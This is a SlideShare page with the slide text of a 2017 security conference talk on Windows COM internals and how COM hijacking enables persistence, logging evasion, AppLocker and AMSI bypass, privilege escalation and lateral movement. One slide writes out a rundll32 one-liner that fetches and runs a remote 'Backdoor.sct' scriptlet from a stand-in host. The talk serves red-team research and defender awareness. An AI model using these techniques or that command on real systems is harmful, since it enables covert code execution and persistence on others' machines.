SlideShare una empresa de Scribd logo

Windows Operating System Archaeology

•Descargar como PPTX, PDF•
•
E
enigma0x3

Given at BSides Nashville 2017. The modern Windows Operating System carries with it an incredible amount of legacy code. The Component Object Model (COM) has left a lasting impact on Windows. This technology is far from dead as it continues to be the foundation for many aspects of the Windows Operating System. You can find hundreds of COM Classes defined by CLSID (COM Class Identifiers). Do you know what they do? This talk seeks to expose tactics long forgotten by the modern defender. We seek to bring to light artifacts in the Windows OS that can be used for persistence. We will present novel tactics for persistence using only the registry and COM objects.

Tecnología
1 de 47
Windows Operating System Archaeology Matt Nelson Casey Smith
Who Are We? - Casey Smith (@subTee) - Mandiant Red Team - subt0x10.blogspot.com - Matt Nelson (@enigma0x3) - Operator and Security Researcher at SpecterOps - enigma0x3.net
Objectives For This Talk Foster curiosity & further research Provide references Call attention to the attack surface and capabilities
What Will We Discuss? COM Overview COM Research Methodology Malicious COM Tactics
COM Overview -Brief Background -Registration -Resolution
COM Architecture and History - in 2 minutes ;-) What are COM components? COM components are cross-language classes backed by: DLL (Dynamic-Link Libraries) OCX (ActiveX controls) TLB (Type Libraries ) EXE (Executables) SCT ( XML files ) Location Transparency Principle
Example - COM Scriptlet XML XML Files - We use these for POC examples Registration Block
COM Object Type Registration To find a component when a program needs it, it is USUALLY registered What Registry keys are related to COM object registration? HKLM + HKCU HKCR
What registry entries are needed to register a COM object? https://blogs.msdn.microsoft.com/larryosterman/2006/01/11/what-registry-entries- are-needed-to-register-a-com-object/ Also XRef: Minimal COM object registration https://blogs.msdn.microsoft.com/larryosterman/2006/01/05/minimal-com-object- registration/
COM Object Type Resolution CLSID - GUID - {AAAA1111-0000-0000-0000-0000FEEDACDC} ProgID - String Monikers - “scriptlet:http://example.com/file.sct” GetObject - CreateObject Methods rundll32.exe javascript:"..mshtml,RunHTMLApplication ";a=GetObject('scriptlet:https://example.com/Backdoor.sct');a.Exec();close();
WMI GetObject example
Registry Example
COM Registry Keys https://msdn.microsoft.com/en-us/library/windows/desktop/ms678477(v=vs.85).aspx Regsvr32.exe Regasm.exe Regsvcs.exe These tools usually handle the registration and registry key population for us.
Example Call To Create/Locate an Object
What does all this mean? COM Artifacts and details can be found in the registry. Usually...
Avoid Registration Process
Sample Objective: Execute .NET code inside Windows Scripting Host Without registering the COM object.
Registration-Free COM Activation Microsoft.Windows.ActCtx Object Attach a Manifest or Download ManifestURL Loads dll without registration. https://github.com/subTee/RegistrationFreeCOM
RegistrationHelper - Bypass via CScript.exe https://gist.github.com/subTee/631f859c7890316b7e9a880cf4a51500
Example https://gist.github.com/subTee/631f859c7890316b7e9a880cf4a51500
In Memory Assembly Execution JScript/VBScript https://github.com/tyranid/DotNetToJScript This is Amazing! Executes a .NET assembly IN JSCRIPT This dramatically extends capabilities of COM Scriptlets No Dll On Disk. Works for .NET 2 and 3.5 Only
Methodology Examples Using Procmon to trace resolution
Example - There are DOZENS of these
Excavation Tools James Forshaw - OleViewDotNet - https://github.com/tyranid/oleviewdotnet Mark Russonovich - ProcMon - https://technet.microsoft.com/en- us/sysinternals/processmonitor RPCView - http://rpcview.org API Spy - http://www.rohitab.com/apimonitor
Malicious Tactics Overview Persistence COM Hijacking - Evasion Office Add-Ins Privilege Escalation Lateral Movement
Persistence via COM Hijacking Leveraging Per-User COM Objects, we can divert resolution to an object under our control. Registry Only Persistence “TreatAs” hijack COM handler hijacking (scheduled tasks) https://msdn.microsoft.com/en-us/library/windows/desktop/ms679737(v=vs.85).aspx https://github.com/subTee/OSArchaeology/blob/master/COM/TreatAsPersistence.reg https://enigma0x3.net/2016/05/25/userland-persistence-with-scheduled-tasks-and- com-handler-hijacking/
Persistence via COM Hijacking
DEMO Registry Only Persistence
Evasion Windows very often resolves COM objects via the HKCU hive first Find your favorite script that implements GetObject() or CreateObject() and hijack it. This allows you to instantiate your own code without exposing it via the command line.
Abusing WSH: VBScript Injection Leverage an existing, signed VBScript to run our code
C:WindowsSystem32Printing_Admin_Scriptsen-US pubprn.vbs For example: Windows printing script pubprn.vbs calls GetObject on a parameter we control. Can use this to execute a COM scriptlet
Example: Evade Command Line Logging slmgr.vbs instantiates Scripting.Dictionary via CreateObject(). Hijack that object to make it run your code
Source Code of Slmgr.vbs Default System File
Example: Evade Command Line Logging
This is also a clever way to bypass AppLocker ;-) Winrm.vbs
Bypass the AntiMalware Scan Interface (AMSI)
Malicious Office Add-ins Outlook, Excel etc. Rich API for persistence and C2 https://twitter.com/JohnLaTwC/status/836259629277421568 Outlook Rules Added Via COM Object https://gist.github.com/subTee/e04a93260cc69772322502545c2121c4 https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/
Privilege Escalation The COM Elevation Moniker - Resources -Execute Process in Another user’s session -Think Terminal Server or RDP etc…
COM - CVE-2017-0100 https://drive.google.com/file/d/0B5sMkPVXQnfPbXI0SVliV0tuU0U/view - James Forshaw
Domain Admin Elevation http://blog.inspired-sec.com/archive/2017/03/17/COM-Moniker-Privesc.html @n0pe_sled
Lateral Movement - Leveraging DCOM objects with no explicit access or launch permissions set - Certain objects have interesting methods… https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application- com-object/ https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
Conclusions
Hopeful outcomes of this talk. Foster curiosity & further research Provide references Call attention to the attack surface and capabilities
Closing Thoughts / Conclusions / Thanks Special Thanks to: David Mcguire & Jason Frank for their support of this research while we were working for them. James Forshaw - For answering our questions and COM research All of the former ATD members who provided feedback and improvements to our research!

Recomendados

COM Hijacking Techniques - Derbycon 2019
COM Hijacking Techniques - Derbycon 2019COM Hijacking Techniques - Derbycon 2019
COM Hijacking Techniques - Derbycon 2019David Tulis
 
0wn-premises: Bypassing Microsoft Defender for Identity
0wn-premises: Bypassing Microsoft Defender for Identity0wn-premises: Bypassing Microsoft Defender for Identity
0wn-premises: Bypassing Microsoft Defender for IdentityNikhil Mittal
 
Derbycon - The Unintended Risks of Trusting Active Directory
Derbycon - The Unintended Risks of Trusting Active DirectoryDerbycon - The Unintended Risks of Trusting Active Directory
Derbycon - The Unintended Risks of Trusting Active DirectoryWill Schroeder
 
aclpwn - Active Directory ACL exploitation with BloodHound
aclpwn - Active Directory ACL exploitation with BloodHoundaclpwn - Active Directory ACL exploitation with BloodHound
aclpwn - Active Directory ACL exploitation with BloodHoundDirkjanMollema
 
Abusing Microsoft Kerberos - Sorry you guys don't get it
Abusing Microsoft Kerberos - Sorry you guys don't get itAbusing Microsoft Kerberos - Sorry you guys don't get it
Abusing Microsoft Kerberos - Sorry you guys don't get itBenjamin Delpy
 
Mapping to MITRE ATT&CK: Enhancing Operations Through the Tracking of Interac...
Mapping to MITRE ATT&CK: Enhancing Operations Through the Tracking of Interac...Mapping to MITRE ATT&CK: Enhancing Operations Through the Tracking of Interac...
Mapping to MITRE ATT&CK: Enhancing Operations Through the Tracking of Interac...MITRE ATT&CK
 
Detection Rules Coverage
Detection Rules CoverageDetection Rules Coverage
Detection Rules CoverageSunny Neo
 
Effective Threat Hunting with Tactical Threat Intelligence
Effective Threat Hunting with Tactical Threat IntelligenceEffective Threat Hunting with Tactical Threat Intelligence
Effective Threat Hunting with Tactical Threat IntelligenceDhruv Majumdar
 

Recomendados

COM Hijacking Techniques - Derbycon 2019
COM Hijacking Techniques - Derbycon 2019COM Hijacking Techniques - Derbycon 2019
COM Hijacking Techniques - Derbycon 2019David Tulis
 
0wn-premises: Bypassing Microsoft Defender for Identity
0wn-premises: Bypassing Microsoft Defender for Identity0wn-premises: Bypassing Microsoft Defender for Identity
0wn-premises: Bypassing Microsoft Defender for IdentityNikhil Mittal
 
Derbycon - The Unintended Risks of Trusting Active Directory
Derbycon - The Unintended Risks of Trusting Active DirectoryDerbycon - The Unintended Risks of Trusting Active Directory
Derbycon - The Unintended Risks of Trusting Active DirectoryWill Schroeder
 
aclpwn - Active Directory ACL exploitation with BloodHound
aclpwn - Active Directory ACL exploitation with BloodHoundaclpwn - Active Directory ACL exploitation with BloodHound
aclpwn - Active Directory ACL exploitation with BloodHoundDirkjanMollema
 
Abusing Microsoft Kerberos - Sorry you guys don't get it
Abusing Microsoft Kerberos - Sorry you guys don't get itAbusing Microsoft Kerberos - Sorry you guys don't get it
Abusing Microsoft Kerberos - Sorry you guys don't get itBenjamin Delpy
 
Mapping to MITRE ATT&CK: Enhancing Operations Through the Tracking of Interac...
Mapping to MITRE ATT&CK: Enhancing Operations Through the Tracking of Interac...Mapping to MITRE ATT&CK: Enhancing Operations Through the Tracking of Interac...
Mapping to MITRE ATT&CK: Enhancing Operations Through the Tracking of Interac...MITRE ATT&CK
 
Detection Rules Coverage
Detection Rules CoverageDetection Rules Coverage
Detection Rules CoverageSunny Neo
 
Effective Threat Hunting with Tactical Threat Intelligence
Effective Threat Hunting with Tactical Threat IntelligenceEffective Threat Hunting with Tactical Threat Intelligence
Effective Threat Hunting with Tactical Threat IntelligenceDhruv Majumdar
 
DerbyCon 2019 - Kerberoasting Revisited
DerbyCon 2019 - Kerberoasting RevisitedDerbyCon 2019 - Kerberoasting Revisited
DerbyCon 2019 - Kerberoasting RevisitedWill Schroeder
 
Threat hunting - Every day is hunting season
Threat hunting - Every day is hunting seasonThreat hunting - Every day is hunting season
Threat hunting - Every day is hunting seasonBen Boyd
 
I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Di...
I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Di...I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Di...
I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Di...DirkjanMollema
 
No Easy Breach DerbyCon 2016
No Easy Breach DerbyCon 2016No Easy Breach DerbyCon 2016
No Easy Breach DerbyCon 2016Matthew Dunwoody
 
Hunting for Privilege Escalation in Windows Environment
Hunting for Privilege Escalation in Windows EnvironmentHunting for Privilege Escalation in Windows Environment
Hunting for Privilege Escalation in Windows EnvironmentTeymur Kheirkhabarov
 
PHDays 2018 Threat Hunting Hands-On Lab
PHDays 2018 Threat Hunting Hands-On LabPHDays 2018 Threat Hunting Hands-On Lab
PHDays 2018 Threat Hunting Hands-On LabTeymur Kheirkhabarov
 
Windows attacks - AT is the new black
Windows attacks - AT is the new blackWindows attacks - AT is the new black
Windows attacks - AT is the new blackChris Gates
 
How MITRE ATT&CK helps security operations
How MITRE ATT&CK helps security operationsHow MITRE ATT&CK helps security operations
How MITRE ATT&CK helps security operationsSergey Soldatov
 
Social Engineering the Windows Kernel by James Forshaw
Social Engineering the Windows Kernel by James ForshawSocial Engineering the Windows Kernel by James Forshaw
Social Engineering the Windows Kernel by James ForshawShakacon
 
SIEM and Threat Hunting
SIEM and Threat HuntingSIEM and Threat Hunting
SIEM and Threat Huntingn|u - The Open Security Community
 
AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It
AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does ItAMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It
AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does ItNikhil Mittal
 
The Unintended Risks of Trusting Active Directory
The Unintended Risks of Trusting Active DirectoryThe Unintended Risks of Trusting Active Directory
The Unintended Risks of Trusting Active DirectoryWill Schroeder
 
MW_Arch Fastest_way_to_hunt_on_Windows_v1.01
MW_Arch Fastest_way_to_hunt_on_Windows_v1.01MW_Arch Fastest_way_to_hunt_on_Windows_v1.01
MW_Arch Fastest_way_to_hunt_on_Windows_v1.01Michael Gough
 
MITRE ATT&CKcon 2.0: Using Threat Intelligence to Focus ATT&CK Activities; Da...
MITRE ATT&CKcon 2.0: Using Threat Intelligence to Focus ATT&CK Activities; Da...MITRE ATT&CKcon 2.0: Using Threat Intelligence to Focus ATT&CK Activities; Da...
MITRE ATT&CKcon 2.0: Using Threat Intelligence to Focus ATT&CK Activities; Da...MITRE - ATT&CKcon
 
When Insiders ATT&CK!
When Insiders ATT&CK!When Insiders ATT&CK!
When Insiders ATT&CK!MITRE ATT&CK
 
ATT&CKING Containers in The Cloud
ATT&CKING Containers in The CloudATT&CKING Containers in The Cloud
ATT&CKING Containers in The CloudMITRE ATT&CK
 
PSConfEU - Offensive Active Directory (With PowerShell!)
PSConfEU - Offensive Active Directory (With PowerShell!)PSConfEU - Offensive Active Directory (With PowerShell!)
PSConfEU - Offensive Active Directory (With PowerShell!)Will Schroeder
 
ReCertifying Active Directory
ReCertifying Active DirectoryReCertifying Active Directory
ReCertifying Active DirectoryWill Schroeder
 
Hunting malware with volatility v2.0
Hunting malware with volatility v2.0Hunting malware with volatility v2.0
Hunting malware with volatility v2.0Frank Boldewin
 
Threat Hunting
Threat HuntingThreat Hunting
Threat HuntingSplunk
 
Inside Out Hacking - Bypassing Firewall
Inside Out Hacking - Bypassing FirewallInside Out Hacking - Bypassing Firewall
Inside Out Hacking - Bypassing Firewallamiable_indian
 
Commix
Commix Commix
Commix nullowaspmumbai
 

Más contenido relacionado

La actualidad más candente

DerbyCon 2019 - Kerberoasting Revisited
DerbyCon 2019 - Kerberoasting RevisitedDerbyCon 2019 - Kerberoasting Revisited
DerbyCon 2019 - Kerberoasting RevisitedWill Schroeder
 
Threat hunting - Every day is hunting season
Threat hunting - Every day is hunting seasonThreat hunting - Every day is hunting season
Threat hunting - Every day is hunting seasonBen Boyd
 
I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Di...
I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Di...I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Di...
I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Di...DirkjanMollema
 
No Easy Breach DerbyCon 2016
No Easy Breach DerbyCon 2016No Easy Breach DerbyCon 2016
No Easy Breach DerbyCon 2016Matthew Dunwoody
 
Hunting for Privilege Escalation in Windows Environment
Hunting for Privilege Escalation in Windows EnvironmentHunting for Privilege Escalation in Windows Environment
Hunting for Privilege Escalation in Windows EnvironmentTeymur Kheirkhabarov
 
PHDays 2018 Threat Hunting Hands-On Lab
PHDays 2018 Threat Hunting Hands-On LabPHDays 2018 Threat Hunting Hands-On Lab
PHDays 2018 Threat Hunting Hands-On LabTeymur Kheirkhabarov
 
Windows attacks - AT is the new black
Windows attacks - AT is the new blackWindows attacks - AT is the new black
Windows attacks - AT is the new blackChris Gates
 
How MITRE ATT&CK helps security operations
How MITRE ATT&CK helps security operationsHow MITRE ATT&CK helps security operations
How MITRE ATT&CK helps security operationsSergey Soldatov
 
Social Engineering the Windows Kernel by James Forshaw
Social Engineering the Windows Kernel by James ForshawSocial Engineering the Windows Kernel by James Forshaw
Social Engineering the Windows Kernel by James ForshawShakacon
 
AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It
AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does ItAMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It
AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does ItNikhil Mittal
 
The Unintended Risks of Trusting Active Directory
The Unintended Risks of Trusting Active DirectoryThe Unintended Risks of Trusting Active Directory
The Unintended Risks of Trusting Active DirectoryWill Schroeder
 
MW_Arch Fastest_way_to_hunt_on_Windows_v1.01
MW_Arch Fastest_way_to_hunt_on_Windows_v1.01MW_Arch Fastest_way_to_hunt_on_Windows_v1.01
MW_Arch Fastest_way_to_hunt_on_Windows_v1.01Michael Gough
 
MITRE ATT&CKcon 2.0: Using Threat Intelligence to Focus ATT&CK Activities; Da...
MITRE ATT&CKcon 2.0: Using Threat Intelligence to Focus ATT&CK Activities; Da...MITRE ATT&CKcon 2.0: Using Threat Intelligence to Focus ATT&CK Activities; Da...
MITRE ATT&CKcon 2.0: Using Threat Intelligence to Focus ATT&CK Activities; Da...MITRE - ATT&CKcon
 
When Insiders ATT&CK!
When Insiders ATT&CK!When Insiders ATT&CK!
When Insiders ATT&CK!MITRE ATT&CK
 
ATT&CKING Containers in The Cloud
ATT&CKING Containers in The CloudATT&CKING Containers in The Cloud
ATT&CKING Containers in The CloudMITRE ATT&CK
 
PSConfEU - Offensive Active Directory (With PowerShell!)
PSConfEU - Offensive Active Directory (With PowerShell!)PSConfEU - Offensive Active Directory (With PowerShell!)
PSConfEU - Offensive Active Directory (With PowerShell!)Will Schroeder
 
ReCertifying Active Directory
ReCertifying Active DirectoryReCertifying Active Directory
ReCertifying Active DirectoryWill Schroeder
 
Hunting malware with volatility v2.0
Hunting malware with volatility v2.0Hunting malware with volatility v2.0
Hunting malware with volatility v2.0Frank Boldewin
 
Threat Hunting
Threat HuntingThreat Hunting
Threat HuntingSplunk
 

La actualidad más candente (20)

DerbyCon 2019 - Kerberoasting Revisited
DerbyCon 2019 - Kerberoasting RevisitedDerbyCon 2019 - Kerberoasting Revisited
DerbyCon 2019 - Kerberoasting Revisited
 
Threat hunting - Every day is hunting season
Threat hunting - Every day is hunting seasonThreat hunting - Every day is hunting season
Threat hunting - Every day is hunting season
 
I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Di...
I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Di...I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Di...
I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Di...
 
No Easy Breach DerbyCon 2016
No Easy Breach DerbyCon 2016No Easy Breach DerbyCon 2016
No Easy Breach DerbyCon 2016
 
Hunting for Privilege Escalation in Windows Environment
Hunting for Privilege Escalation in Windows EnvironmentHunting for Privilege Escalation in Windows Environment
Hunting for Privilege Escalation in Windows Environment
 
PHDays 2018 Threat Hunting Hands-On Lab
PHDays 2018 Threat Hunting Hands-On LabPHDays 2018 Threat Hunting Hands-On Lab
PHDays 2018 Threat Hunting Hands-On Lab
 
Windows attacks - AT is the new black
Windows attacks - AT is the new blackWindows attacks - AT is the new black
Windows attacks - AT is the new black
 
How MITRE ATT&CK helps security operations
How MITRE ATT&CK helps security operationsHow MITRE ATT&CK helps security operations
How MITRE ATT&CK helps security operations
 
Social Engineering the Windows Kernel by James Forshaw
Social Engineering the Windows Kernel by James ForshawSocial Engineering the Windows Kernel by James Forshaw
Social Engineering the Windows Kernel by James Forshaw
 
SIEM and Threat Hunting
SIEM and Threat HuntingSIEM and Threat Hunting
SIEM and Threat Hunting
 
AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It
AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does ItAMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It
AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It
 
The Unintended Risks of Trusting Active Directory
The Unintended Risks of Trusting Active DirectoryThe Unintended Risks of Trusting Active Directory
The Unintended Risks of Trusting Active Directory
 
MW_Arch Fastest_way_to_hunt_on_Windows_v1.01
MW_Arch Fastest_way_to_hunt_on_Windows_v1.01MW_Arch Fastest_way_to_hunt_on_Windows_v1.01
MW_Arch Fastest_way_to_hunt_on_Windows_v1.01
 
MITRE ATT&CKcon 2.0: Using Threat Intelligence to Focus ATT&CK Activities; Da...
MITRE ATT&CKcon 2.0: Using Threat Intelligence to Focus ATT&CK Activities; Da...MITRE ATT&CKcon 2.0: Using Threat Intelligence to Focus ATT&CK Activities; Da...
MITRE ATT&CKcon 2.0: Using Threat Intelligence to Focus ATT&CK Activities; Da...
 
When Insiders ATT&CK!
When Insiders ATT&CK!When Insiders ATT&CK!
When Insiders ATT&CK!
 
ATT&CKING Containers in The Cloud
ATT&CKING Containers in The CloudATT&CKING Containers in The Cloud
ATT&CKING Containers in The Cloud
 
PSConfEU - Offensive Active Directory (With PowerShell!)
PSConfEU - Offensive Active Directory (With PowerShell!)PSConfEU - Offensive Active Directory (With PowerShell!)
PSConfEU - Offensive Active Directory (With PowerShell!)
 
ReCertifying Active Directory
ReCertifying Active DirectoryReCertifying Active Directory
ReCertifying Active Directory
 
Hunting malware with volatility v2.0
Hunting malware with volatility v2.0Hunting malware with volatility v2.0
Hunting malware with volatility v2.0
 
Threat Hunting
Threat HuntingThreat Hunting
Threat Hunting
 

Similar a Windows Operating System Archaeology

Inside Out Hacking - Bypassing Firewall
Inside Out Hacking - Bypassing FirewallInside Out Hacking - Bypassing Firewall
Inside Out Hacking - Bypassing Firewallamiable_indian
 
Automated JavaScript Deobfuscation - PacSec 2007
Automated JavaScript Deobfuscation - PacSec 2007Automated JavaScript Deobfuscation - PacSec 2007
Automated JavaScript Deobfuscation - PacSec 2007Stephan Chenette
 
Command injection komal_armarkar
Command injection komal_armarkarCommand injection komal_armarkar
Command injection komal_armarkarKomal Armarkar
 
ITCamp 2013 - Raffaele Rialdi - Windows Runtime (WinRT) deep dive
ITCamp 2013 - Raffaele Rialdi - Windows Runtime (WinRT) deep diveITCamp 2013 - Raffaele Rialdi - Windows Runtime (WinRT) deep dive
ITCamp 2013 - Raffaele Rialdi - Windows Runtime (WinRT) deep diveITCamp
 
powershell-is-dead-epic-learnings-london
powershell-is-dead-epic-learnings-londonpowershell-is-dead-epic-learnings-london
powershell-is-dead-epic-learnings-londonnettitude_labs
 
Thug: a new low-interaction honeyclient
Thug: a new low-interaction honeyclientThug: a new low-interaction honeyclient
Thug: a new low-interaction honeyclientAngelo Dell'Aera
 
Cross interface attack
Cross interface attackCross interface attack
Cross interface attackpiyushml20
 
Fast and Generic Malware Triage Using openioc_scan Volatility Plugin
Fast and Generic Malware Triage Using openioc_scan Volatility PluginFast and Generic Malware Triage Using openioc_scan Volatility Plugin
Fast and Generic Malware Triage Using openioc_scan Volatility PluginTakahiro Haruyama
 
Frontend Security: Applying Contextual Escaping Automatically, or How to Stop...
Frontend Security: Applying Contextual Escaping Automatically, or How to Stop...Frontend Security: Applying Contextual Escaping Automatically, or How to Stop...
Frontend Security: Applying Contextual Escaping Automatically, or How to Stop...adonatwork
 
CSW2017 Amanda rousseau cansecwest2017_net_hijacking_powershell
CSW2017 Amanda rousseau cansecwest2017_net_hijacking_powershellCSW2017 Amanda rousseau cansecwest2017_net_hijacking_powershell
CSW2017 Amanda rousseau cansecwest2017_net_hijacking_powershellCanSecWest
 
Waf.js: How to Protect Web Applications using JavaScript
Waf.js: How to Protect Web Applications using JavaScriptWaf.js: How to Protect Web Applications using JavaScript
Waf.js: How to Protect Web Applications using JavaScriptDenis Kolegov
 
Tricky sample? Hack it easy! Applying dynamic binary inastrumentation to ligh...
Tricky sample? Hack it easy! Applying dynamic binary inastrumentation to ligh...Tricky sample? Hack it easy! Applying dynamic binary inastrumentation to ligh...
Tricky sample? Hack it easy! Applying dynamic binary inastrumentation to ligh...Maksim Shudrak
 
Dot netsupport in alpha five v11 coming soon
Dot netsupport in alpha five v11 coming soonDot netsupport in alpha five v11 coming soon
Dot netsupport in alpha five v11 coming soonRichard Rabins
 
Interview Question of Aspdotnet
Interview Question of AspdotnetInterview Question of Aspdotnet
Interview Question of AspdotnetMohitKumar1985
 
DotNet Introduction
DotNet IntroductionDotNet Introduction
DotNet IntroductionWei Sun
 
BlueHat v17 || Mitigations for the Masses: From EMET to Windows Defender Exp...
BlueHat v17 || Mitigations for the Masses: From EMET to Windows Defender Exp...BlueHat v17 || Mitigations for the Masses: From EMET to Windows Defender Exp...
BlueHat v17 || Mitigations for the Masses: From EMET to Windows Defender Exp...BlueHat Security Conference
 

Similar a Windows Operating System Archaeology (20)

Inside Out Hacking - Bypassing Firewall
Inside Out Hacking - Bypassing FirewallInside Out Hacking - Bypassing Firewall
Inside Out Hacking - Bypassing Firewall
 
Commix
Commix Commix
Commix
 
Automated JavaScript Deobfuscation - PacSec 2007
Automated JavaScript Deobfuscation - PacSec 2007Automated JavaScript Deobfuscation - PacSec 2007
Automated JavaScript Deobfuscation - PacSec 2007
 
Command injection komal_armarkar
Command injection komal_armarkarCommand injection komal_armarkar
Command injection komal_armarkar
 
ITCamp 2013 - Raffaele Rialdi - Windows Runtime (WinRT) deep dive
ITCamp 2013 - Raffaele Rialdi - Windows Runtime (WinRT) deep diveITCamp 2013 - Raffaele Rialdi - Windows Runtime (WinRT) deep dive
ITCamp 2013 - Raffaele Rialdi - Windows Runtime (WinRT) deep dive
 
powershell-is-dead-epic-learnings-london
powershell-is-dead-epic-learnings-londonpowershell-is-dead-epic-learnings-london
powershell-is-dead-epic-learnings-london
 
Thug: a new low-interaction honeyclient
Thug: a new low-interaction honeyclientThug: a new low-interaction honeyclient
Thug: a new low-interaction honeyclient
 
Cross interface attack
Cross interface attackCross interface attack
Cross interface attack
 
Cross Interface Attacks
Cross Interface AttacksCross Interface Attacks
Cross Interface Attacks
 
Nullbyte 6ed. 2019
Nullbyte 6ed. 2019Nullbyte 6ed. 2019
Nullbyte 6ed. 2019
 
Fast and Generic Malware Triage Using openioc_scan Volatility Plugin
Fast and Generic Malware Triage Using openioc_scan Volatility PluginFast and Generic Malware Triage Using openioc_scan Volatility Plugin
Fast and Generic Malware Triage Using openioc_scan Volatility Plugin
 
Frontend Security: Applying Contextual Escaping Automatically, or How to Stop...
Frontend Security: Applying Contextual Escaping Automatically, or How to Stop...Frontend Security: Applying Contextual Escaping Automatically, or How to Stop...
Frontend Security: Applying Contextual Escaping Automatically, or How to Stop...
 
Stuxnet dc9723
Stuxnet dc9723Stuxnet dc9723
Stuxnet dc9723
 
CSW2017 Amanda rousseau cansecwest2017_net_hijacking_powershell
CSW2017 Amanda rousseau cansecwest2017_net_hijacking_powershellCSW2017 Amanda rousseau cansecwest2017_net_hijacking_powershell
CSW2017 Amanda rousseau cansecwest2017_net_hijacking_powershell
 
Waf.js: How to Protect Web Applications using JavaScript
Waf.js: How to Protect Web Applications using JavaScriptWaf.js: How to Protect Web Applications using JavaScript
Waf.js: How to Protect Web Applications using JavaScript
 
Tricky sample? Hack it easy! Applying dynamic binary inastrumentation to ligh...
Tricky sample? Hack it easy! Applying dynamic binary inastrumentation to ligh...Tricky sample? Hack it easy! Applying dynamic binary inastrumentation to ligh...
Tricky sample? Hack it easy! Applying dynamic binary inastrumentation to ligh...
 
Dot netsupport in alpha five v11 coming soon
Dot netsupport in alpha five v11 coming soonDot netsupport in alpha five v11 coming soon
Dot netsupport in alpha five v11 coming soon
 
Interview Question of Aspdotnet
Interview Question of AspdotnetInterview Question of Aspdotnet
Interview Question of Aspdotnet
 
DotNet Introduction
DotNet IntroductionDotNet Introduction
DotNet Introduction
 
BlueHat v17 || Mitigations for the Masses: From EMET to Windows Defender Exp...
BlueHat v17 || Mitigations for the Masses: From EMET to Windows Defender Exp...BlueHat v17 || Mitigations for the Masses: From EMET to Windows Defender Exp...
BlueHat v17 || Mitigations for the Masses: From EMET to Windows Defender Exp...
 

Último

What is Artificial Intelligence?????????
What is Artificial Intelligence?????????What is Artificial Intelligence?????????
What is Artificial Intelligence?????????blackmambaettijean
 
Anypoint Exchange: It’s Not Just a Repo!
Anypoint Exchange: It’s Not Just a Repo!Anypoint Exchange: It’s Not Just a Repo!
Anypoint Exchange: It’s Not Just a Repo!Manik S Magar
 
Take control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteTake control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteDianaGray10
 
Sample pptx for embedding into website for demo
Sample pptx for embedding into website for demoSample pptx for embedding into website for demo
Sample pptx for embedding into website for demoHarshalMandlekar2
 
The Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsThe Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsPixlogix Infotech
 
Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptx
Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptxPasskey Providers and Enabling Portability: FIDO Paris Seminar.pptx
Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptxLoriGlavin3
 
DSPy a system for AI to Write Prompts and Do Fine Tuning
DSPy a system for AI to Write Prompts and Do Fine TuningDSPy a system for AI to Write Prompts and Do Fine Tuning
DSPy a system for AI to Write Prompts and Do Fine TuningLars Bell
 
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc
 
"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii SoldatenkoFwdays
 
How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.Curtis Poe
 
From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .Alan Dix
 
Scale your database traffic with Read & Write split using MySQL Router
Scale your database traffic with Read & Write split using MySQL RouterScale your database traffic with Read & Write split using MySQL Router
Scale your database traffic with Read & Write split using MySQL RouterMydbops
 
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024BookNet Canada
 
Developer Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQLDeveloper Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQLScyllaDB
 
Time Series Foundation Models - current state and future directions
Time Series Foundation Models - current state and future directionsTime Series Foundation Models - current state and future directions
Time Series Foundation Models - current state and future directionsNathaniel Shimoni
 
